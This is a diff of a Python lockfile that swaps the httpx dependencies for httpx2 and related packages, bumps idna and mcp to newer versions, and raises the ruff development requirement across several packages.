+    { name = "anyio", marker = "sys_platform != 'emscripten'" },
+    { name = "httpcore2", marker = "sys_platform != 'emscripten'" },
+    { name = "httpx2-jsfetch", marker = "python_full_version >= '3.12' and sys_platform == 'emscripten'" },
     { name = "idna" },
+    { name = "truststore", marker = "sys_platform != 'emscripten'" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
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+    { url = "https://files.pythonhosted.org/packages/b9/6d/a637d52449d98a6892d9a4dc0262587afdb6a66f201871842dce5a97b1c1/httpx2-2.10.0-py3-none-any.whl", hash = "sha256:5e3194a432701e1cc6f69a8b1b2fa199ef907013fede8d9a09a2c5b7b8141a18", size = 94355, upload-time = "2026-08-09T09:11:30.882Z" },
 ]
 
 [[package]]
-name = "httpx-sse"
-version = "0.4.3"
+name = "httpx2-jsfetch"
+version = "1.0"
 source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/0f/4c/751061ffa58615a32c31b2d82e8482be8dd4a89154f003147acee90f2be9/httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d", size = 15943, upload-time = "2025-10-10T21:48:22.271Z" }
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+    { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" },
 ]
 
 [[package]]
 name = "idna"
-version = "3.16"
+version = "3.18"
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+    { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
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 [[package]]
@@ -670,7 +673,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -793,7 +796,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=1.10" },
     { name = "pytest", specifier = ">=8.0" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -819,7 +822,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -840,7 +843,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.21" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -861,7 +864,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -882,20 +885,20 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
 name = "mcp"
-version = "1.28.1"
+version = "2.0.0"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
     { name = "anyio" },
-    { name = "httpx" },
-    { name = "httpx-sse" },
+    { name = "httpx2" },
     { name = "jsonschema" },
+    { name = "mcp-types" },
+    { name = "opentelemetry-api" },
     { name = "pydantic" },
-    { name = "pydantic-settings" },
     { name = "pyjwt", extra = ["crypto"] },
     { name = "python-multipart" },
     { name = "pywin32", marker = "sys_platform == 'win32'" },
@@ -905,9 +908,22 @@ dependencies = [
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     { name = "uvicorn", marker = "sys_platform != 'emscripten'" },
 ]
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+sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
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 [[package]]
@@ -1881,7 +1895,7 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.1.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]
 
 [[package]]
@@ -1902,5 +1916,5 @@ dev = [
 dev = [
     { name = "mypy", specifier = ">=2.3.0" },
     { name = "pytest", specifier = ">=9.1.1" },
-    { name = "ruff", specifier = ">=0.15.22" },
+    { name = "ruff", specifier = ">=0.16.2" },
 ]